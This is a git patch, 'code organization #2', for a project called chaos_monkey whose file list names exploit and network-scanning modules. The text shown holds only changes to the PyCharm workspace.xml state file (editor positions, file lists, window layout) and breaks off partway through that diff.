From d984641f5391eb839239943b7789e972c938dd82 Mon Sep 17 00:00:00 2001
From: urihershgc <uri@guardicore.com>
Date: Mon, 30 Nov 2015 14:11:19 +0200
Subject: [PATCH] code organization #2

---
 .idea/workspace.xml                     | 563 ++++++++++++------------
 chaos_monkey/control.py                 |  32 +-
 chaos_monkey/exploit/__init__.py        |  11 +-
 chaos_monkey/exploit/rdpgrinder.py      |  14 +-
 chaos_monkey/exploit/smbexec.py         |  12 +-
 chaos_monkey/exploit/sshexec.py         |  18 +-
 chaos_monkey/exploit/tools.py           |  10 +-
 chaos_monkey/exploit/win_ms08_067.py    |  12 +-
 chaos_monkey/exploit/wmiexec.py         |   8 +-
 chaos_monkey/main.py                    |   3 +
 chaos_monkey/monkey.py                  |  10 +-
 chaos_monkey/network/__init__.py        |  13 +-
 chaos_monkey/network/network_scanner.py |   2 +-
 chaos_monkey/network/ping_scanner.py    |   2 +-
 chaos_monkey/network/range.py           |   2 +-
 chaos_monkey/network/smbfinger.py       |   4 +-
 chaos_monkey/network/sshfinger.py       |   6 +-
 chaos_monkey/network/tcp_scanner.py     |   6 +-
 18 files changed, 363 insertions(+), 365 deletions(-)

diff --git a/.idea/workspace.xml b/.idea/workspace.xml
index 788ef506c..26d35b863 100644
--- a/.idea/workspace.xml
+++ b/.idea/workspace.xml
@@ -2,9 +2,8 @@
 <project version="4">
   <component name="ChangeListManager">
     <list default="true" id="b6a17012-d37a-4cdd-b5ce-aba83b1d5fc7" name="Default" comment="">
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/config.py" afterPath="$PROJECT_DIR$/chaos_monkey/config.py" />
+      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/workspace.xml" afterPath="$PROJECT_DIR$/.idea/workspace.xml" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/control.py" afterPath="$PROJECT_DIR$/chaos_monkey/control.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/dropper.py" afterPath="$PROJECT_DIR$/chaos_monkey/dropper.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/__init__.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/__init__.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py" />
@@ -12,27 +11,15 @@
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/tools.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/tools.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py" afterPath="$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/model/__init__.py" afterPath="$PROJECT_DIR$/chaos_monkey/model/__init__.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/model/host.py" afterPath="$PROJECT_DIR$/chaos_monkey/model/host.py" />
+      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/main.py" afterPath="$PROJECT_DIR$/chaos_monkey/main.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/monkey.py" afterPath="$PROJECT_DIR$/chaos_monkey/monkey.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/monkeyfs.py" afterPath="$PROJECT_DIR$/chaos_monkey/monkeyfs.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/__init__.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/__init__.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/firewall.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/firewall.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/info.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/info.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/network_scanner.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/network_scanner.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/range.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/range.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/smbfinger.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/smbfinger.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/sshfinger.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/sshfinger.py" />
       <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/tcp_scanner.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/tcp_scanner.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/network/tools.py" afterPath="$PROJECT_DIR$/chaos_monkey/network/tools.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/system_singleton.py" afterPath="$PROJECT_DIR$/chaos_monkey/system_singleton.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/transport/__init__.py" afterPath="$PROJECT_DIR$/chaos_monkey/transport/__init__.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/transport/base.py" afterPath="$PROJECT_DIR$/chaos_monkey/transport/base.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/transport/ftp.py" afterPath="$PROJECT_DIR$/chaos_monkey/transport/ftp.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/transport/http.py" afterPath="$PROJECT_DIR$/chaos_monkey/transport/http.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/transport/tcp.py" afterPath="$PROJECT_DIR$/chaos_monkey/transport/tcp.py" />
-      <change type="MODIFICATION" beforePath="$PROJECT_DIR$/chaos_monkey/tunnel.py" afterPath="$PROJECT_DIR$/chaos_monkey/tunnel.py" />
     </list>
     <ignored path="monkey.iws" />
     <ignored path=".idea/workspace.xml" />
@@ -57,7 +44,7 @@
         <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/sshexec.py">
           <provider selected="true" editor-type-id="text-editor">
             <state vertical-scroll-proportion="0.0">
-              <caret line="126" column="21" selection-start-line="126" selection-start-column="21" selection-end-line="126" selection-end-column="21" />
+              <caret line="24" column="71" selection-start-line="24" selection-start-column="71" selection-end-line="24" selection-end-column="71" />
               <folding>
                 <element signature="e#0#15#0" expanded="true" />
               </folding>
@@ -65,23 +52,33 @@
           </provider>
         </entry>
       </file>
+      <file leaf-file-name="network_scanner.py" pinned="false" current-in-tab="true">
+        <entry file="file://$PROJECT_DIR$/chaos_monkey/network/network_scanner.py">
+          <provider selected="true" editor-type-id="text-editor">
+            <state vertical-scroll-proportion="0.5381295">
+              <caret line="22" column="0" selection-start-line="22" selection-start-column="0" selection-end-line="22" selection-end-column="0" />
+              <folding>
+                <element signature="e#0#11#0" expanded="true" />
+              </folding>
+            </state>
+          </provider>
+        </entry>
+      </file>
       <file leaf-file-name="tools.py" pinned="false" current-in-tab="false">
         <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/tools.py">
           <provider selected="true" editor-type-id="text-editor">
             <state vertical-scroll-proportion="0.0">
-              <caret line="26" column="0" selection-start-line="26" selection-start-column="0" selection-end-line="26" selection-end-column="0" />
-              <folding>
-                <element signature="e#0#9#0" expanded="true" />
-              </folding>
+              <caret line="16" column="52" selection-start-line="16" selection-start-column="52" selection-end-line="16" selection-end-column="52" />
+              <folding />
             </state>
           </provider>
         </entry>
       </file>
-      <file leaf-file-name="__init__.py" pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/__init__.py">
+      <file leaf-file-name="ping_scanner.py" pinned="false" current-in-tab="false">
+        <entry file="file://$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py">
           <provider selected="true" editor-type-id="text-editor">
             <state vertical-scroll-proportion="0.0">
-              <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
+              <caret line="5" column="5" selection-start-line="5" selection-start-column="5" selection-end-line="5" selection-end-column="5" />
               <folding />
             </state>
           </provider>
@@ -91,10 +88,8 @@
         <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py">
           <provider selected="true" editor-type-id="text-editor">
             <state vertical-scroll-proportion="0.0">
-              <caret line="264" column="16" selection-start-line="264" selection-start-column="16" selection-end-line="264" selection-end-column="16" />
-              <folding>
-                <element signature="e#330#340#0" expanded="true" />
-              </folding>
+              <caret line="15" column="16" selection-start-line="15" selection-start-column="16" selection-end-line="15" selection-end-column="16" />
+              <folding />
             </state>
           </provider>
         </entry>
@@ -103,7 +98,7 @@
         <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py">
           <provider selected="true" editor-type-id="text-editor">
             <state vertical-scroll-proportion="0.0">
-              <caret line="109" column="0" selection-start-line="109" selection-start-column="0" selection-end-line="109" selection-end-column="0" />
+              <caret line="17" column="0" selection-start-line="17" selection-start-column="0" selection-end-line="17" selection-end-column="0" />
               <folding>
                 <element signature="e#0#13#0" expanded="true" />
               </folding>
@@ -111,21 +106,21 @@
           </provider>
         </entry>
       </file>
-      <file leaf-file-name="build_windows.bat" pinned="false" current-in-tab="true">
-        <entry file="file://$PROJECT_DIR$/chaos_monkey/build_windows.bat">
+      <file leaf-file-name="range.py" pinned="false" current-in-tab="false">
+        <entry file="file://$PROJECT_DIR$/chaos_monkey/network/range.py">
           <provider selected="true" editor-type-id="text-editor">
-            <state vertical-scroll-proportion="0.05230769">
-              <caret line="2" column="0" selection-start-line="2" selection-start-column="0" selection-end-line="2" selection-end-column="0" />
+            <state vertical-scroll-proportion="0.0">
+              <caret line="4" column="5" selection-start-line="4" selection-start-column="5" selection-end-line="4" selection-end-column="5" />
               <folding />
             </state>
           </provider>
         </entry>
       </file>
-      <file leaf-file-name="__init__.py" pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/chaos_monkey/model/__init__.py">
+      <file leaf-file-name="rdpgrinder.py" pinned="false" current-in-tab="false">
+        <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py">
           <provider selected="true" editor-type-id="text-editor">
             <state vertical-scroll-proportion="0.0">
-              <caret line="14" column="0" selection-start-line="14" selection-start-column="0" selection-end-line="14" selection-end-column="0" />
+              <caret line="12" column="33" selection-start-line="12" selection-start-column="33" selection-end-line="12" selection-end-column="33" />
               <folding />
             </state>
           </provider>
@@ -135,22 +130,8 @@
         <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/__init__.py">
           <provider selected="true" editor-type-id="text-editor">
             <state vertical-scroll-proportion="0.0">
-              <caret line="6" column="0" selection-start-line="6" selection-start-column="0" selection-end-line="6" selection-end-column="0" />
-              <folding>
-                <element signature="e#0#39#0" expanded="true" />
-              </folding>
-            </state>
-          </provider>
-        </entry>
-      </file>
-      <file leaf-file-name="rdpgrinder.py" pinned="false" current-in-tab="false">
-        <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py">
-          <provider selected="true" editor-type-id="text-editor">
-            <state vertical-scroll-proportion="0.0">
-              <caret line="94" column="36" selection-start-line="94" selection-start-column="36" selection-end-line="94" selection-end-column="36" />
-              <folding>
-                <element signature="e#0#11#0" expanded="true" />
-              </folding>
+              <caret line="16" column="43" selection-start-line="16" selection-start-column="43" selection-end-line="16" selection-end-column="43" />
+              <folding />
             </state>
           </provider>
         </entry>
@@ -159,7 +140,7 @@
         <entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py">
           <provider selected="true" editor-type-id="text-editor">
             <state vertical-scroll-proportion="0.0">
-              <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
+              <caret line="17" column="24" selection-start-line="17" selection-start-column="24" selection-end-line="17" selection-end-column="24" />
               <folding>
                 <element signature="e#0#10#0" expanded="true" />
               </folding>
@@ -176,45 +157,45 @@
     <option name="CHANGED_PATHS">
       <list>
         <option value="$PROJECT_DIR$/monkey_island/cc/main.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/main.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/monkey.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/monkeyfs.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/system_singleton.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/tunnel.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/dropper.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/control.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/config.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/transport/__init__.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/transport/base.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/transport/ftp.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/transport/http.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/transport/tcp.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/network/__init__.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/network/firewall.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/network/info.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/network/network_scanner.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/network/range.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/network/smbfinger.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/network/sshfinger.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/network/tcp_scanner.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/network/tools.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/model/host.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/model/__init__.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/exploit/__init__.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/exploit/sshexec.py" />
-        <option value="$PROJECT_DIR$/chaos_monkey/exploit/tools.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/monkey.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/control.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/main.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/network/__init__.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/network/tcp_scanner.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/network/smbfinger.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/network/sshfinger.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/network/range.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/exploit/__init__.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/exploit/tools.py" />
         <option value="$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/exploit/sshexec.py" />
+        <option value="$PROJECT_DIR$/chaos_monkey/network/network_scanner.py" />
       </list>
     </option>
   </component>
   <component name="ProjectFrameBounds">
     <option name="x" value="-10" />
     <option name="width" value="1934" />
-    <option name="height" value="1030" />
+    <option name="height" value="1047" />
   </component>
   <component name="ProjectLevelVcsManager" settingsEditedManually="false">
     <OptionsSetting value="true" id="Add" />
@@ -241,7 +222,6 @@
       <foldersAlwaysOnTop value="true" />
     </navigator>
     <panes>
-      <pane id="Scratches" />
       <pane id="ProjectPane">
         <subPane>
           <PATH>
@@ -274,6 +254,24 @@
               <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
             </PATH_ELEMENT>
           </PATH>
+          <PATH>
+            <PATH_ELEMENT>
+              <option name="myItemId" value="monkey" />
+              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
+            </PATH_ELEMENT>
+            <PATH_ELEMENT>
+              <option name="myItemId" value="monkey" />
+              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
+            </PATH_ELEMENT>
+            <PATH_ELEMENT>
+              <option name="myItemId" value="chaos_monkey" />
+              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
+            </PATH_ELEMENT>
+            <PATH_ELEMENT>
+              <option name="myItemId" value="network" />
+              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
+            </PATH_ELEMENT>
+          </PATH>
           <PATH>
             <PATH_ELEMENT>
               <option name="myItemId" value="monkey" />
@@ -292,31 +290,62 @@
               <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
             </PATH_ELEMENT>
           </PATH>
+          <PATH>
+            <PATH_ELEMENT>
+              <option name="myItemId" value="monkey" />
+              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
+            </PATH_ELEMENT>
+            <PATH_ELEMENT>
+              <option name="myItemId" value="monkey" />
+              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
+            </PATH_ELEMENT>
+            <PATH_ELEMENT>
+              <option name="myItemId" value="chaos_monkey" />
+              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
+            </PATH_ELEMENT>
+            <PATH_ELEMENT>
+              <option name="myItemId" value="exploit" />
+              <option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
+            </PATH_ELEMENT>
+          </PATH>
         </subPane>
       </pane>
       <pane id="Scope" />
+      <pane id="Scratches" />
     </panes>
   </component>
   <component name="PropertiesComponent">
-    <property name="last_opened_file_path" value="$PROJECT_DIR$" />
-    <property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth0" value="421" />
+    <property name="last_opened_file_path" value="$PROJECT_DIR$/../guardicore" />
+    <property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth0" value="282" />
     <property name="FileHistory.git4idea.history.GitHistoryProvider_flatOrder0" value="0" />
-    <property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth1" value="457" />
+    <property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth1" value="306" />
     <property name="FileHistory.git4idea.history.GitHistoryProvider_flatOrder1" value="1" />
-    <property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth2" value="457" />
+    <property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth2" value="306" />
     <property name="FileHistory.git4idea.history.GitHistoryProvider_flatOrder2" value="2" />
-    <property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth3" value="1470" />
+    <property name="FileHistory.git4idea.history.GitHistoryProvider_flatWidth3" value="972" />
     <property name="FileHistory.git4idea.history.GitHistoryProvider_flatOrder3" value="3" />
-    <property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth0" value="421" />
+    <property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth0" value="282" />
     <property name="FileHistory.git4idea.history.GitHistoryProvider_treeOrder0" value="0" />
-    <property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth1" value="457" />
+    <property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth1" value="306" />
     <property name="FileHistory.git4idea.history.GitHistoryProvider_treeOrder1" value="1" />
-    <property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth2" value="457" />
+    <property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth2" value="306" />
     <property name="FileHistory.git4idea.history.GitHistoryProvider_treeOrder2" value="2" />
-    <property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth3" value="1470" />
+    <property name="FileHistory.git4idea.history.GitHistoryProvider_treeWidth3" value="972" />
     <property name="FileHistory.git4idea.history.GitHistoryProvider_treeOrder3" value="3" />
+    <property name="SearchEverywhereHistoryKey" value="tcp&#9;FILE&#9;file://C:/dev/monkey/chaos_monkey/network/tcp_scanner.py&#10;ping&#9;FILE&#9;file://C:/dev/monkey/chaos_monkey/network/ping_scanner.py" />
   </component>
   <component name="RunManager">
+    <configuration default="true" type="BashConfigurationType" factoryName="Bash">
+      <option name="INTERPRETER_OPTIONS" value="" />
+      <option name="INTERPRETER_PATH" value="" />
+      <option name="WORKING_DIRECTORY" value="" />
+      <option name="PARENT_ENVS" value="true" />
+      <option name="SCRIPT_NAME" value="" />
+      <option name="PARAMETERS" value="" />
+      <module name="" />
+      <envs />
+      <method />
+    </configuration>
     <configuration default="true" type="PythonConfigurationType" factoryName="Python">
       <option name="INTERPRETER_OPTIONS" value="" />
       <option name="PARENT_ENVS" value="true" />
@@ -454,15 +483,15 @@
     <servers />
   </component>
   <component name="ToolWindowManager">
-    <frame x="-10" y="0" width="1934" height="1030" extended-state="0" />
+    <frame x="-10" y="0" width="1934" height="1047" extended-state="0" />
     <editor active="true" />
     <layout>
       <window_info id="Project" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
       <window_info id="TODO" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="6" side_tool="false" content_ui="tabs" />
       <window_info id="Event Log" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="true" content_ui="tabs" />
-      <window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.24414715" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
+      <window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.24371585" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
       <window_info id="Python Console" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
-      <window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.209202" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
+      <window_info id="Version Control" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="true" show_stripe_button="true" weight="0.20897156" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
       <window_info id="Structure" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
       <window_info id="Terminal" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="7" side_tool="false" content_ui="tabs" />
       <window_info id="Favorites" active="false" anchor="left" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="2" side_tool="true" content_ui="tabs" />
@@ -489,7 +518,7 @@
   </component>
   <component name="XDebuggerManager">
     <breakpoint-manager>
-      <option name="time" value="5" />
+      <option name="time" value="8" />
     </breakpoint-manager>
     <watches-manager />
   </component>
@@ -514,7 +543,9 @@
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
           <caret line="104" column="8" selection-start-line="104" selection-start-column="8" selection-end-line="104" selection-end-column="8" />
-          <folding />
+          <folding>
+            <element signature="e#0#11#0" expanded="false" />
+          </folding>
         </state>
       </provider>
     </entry>
@@ -598,23 +629,10 @@
         </state>
       </provider>
     </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/monkey.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="-17.931034">
-          <caret line="178" column="0" selection-start-line="178" selection-start-column="0" selection-end-line="178" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#10#0" expanded="false" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
     <entry file="file://$PROJECT_DIR$/chaos_monkey/monkeyfs.py">
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
           <caret line="60" column="0" selection-start-line="60" selection-start-column="0" selection-end-line="60" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#22#0" expanded="true" />
-          </folding>
         </state>
       </provider>
     </entry>
@@ -628,36 +646,6 @@
         </state>
       </provider>
     </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/main.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="111" column="0" selection-start-line="111" selection-start-column="0" selection-end-line="111" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#9#0" expanded="false" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/dropper.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="-15.24138">
-          <caret line="26" column="0" selection-start-line="26" selection-start-column="0" selection-end-line="26" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#9#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/control.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="15" column="0" selection-start-line="15" selection-start-column="0" selection-end-line="15" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#11#0" expanded="false" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
     <entry file="file://$PROJECT_DIR$/chaos_monkey/config.py">
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
@@ -672,7 +660,6 @@
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
           <caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
-          <folding />
         </state>
       </provider>
     </entry>
@@ -680,9 +667,6 @@
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
           <caret line="4" column="0" selection-start-line="4" selection-start-column="0" selection-end-line="4" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#25#0" expanded="false" />
-          </folding>
         </state>
       </provider>
     </entry>
@@ -690,7 +674,6 @@
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
           <caret line="15" column="0" selection-start-line="15" selection-start-column="0" selection-end-line="15" selection-end-column="0" />
-          <folding />
         </state>
       </provider>
     </entry>
@@ -718,17 +701,6 @@
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
           <caret line="13" column="29" selection-start-line="13" selection-start-column="29" selection-end-line="13" selection-end-column="29" />
-          <folding>
-            <element signature="e#0#13#0" expanded="false" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/__init__.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="1" column="0" selection-start-line="1" selection-start-column="0" selection-end-line="1" selection-end-column="0" />
-          <folding />
         </state>
       </provider>
     </entry>
@@ -742,26 +714,6 @@
         </state>
       </provider>
     </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/__init__.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="25" column="0" selection-start-line="25" selection-start-column="0" selection-end-line="25" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#39#0" expanded="false" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/network_scanner.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
-          <caret line="18" column="0" selection-start-line="18" selection-start-column="0" selection-end-line="18" selection-end-column="0" />
-          <folding>
-            <element signature="e#0#11#0" expanded="true" />
-          </folding>
-        </state>
-      </provider>
-    </entry>
     <entry file="file://$PROJECT_DIR$/chaos_monkey/network/info.py">
       <provider selected="true" editor-type-id="text-editor">
         <state vertical-scroll-proportion="0.0">
@@ -772,71 +724,10 @@
         </state>
       </provider>
     </entry>
-    <entry file="file://$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py">
-      <provider selected="true" editor-type-id="text-editor">
-        <state vertical-scroll-proportion="0.0">
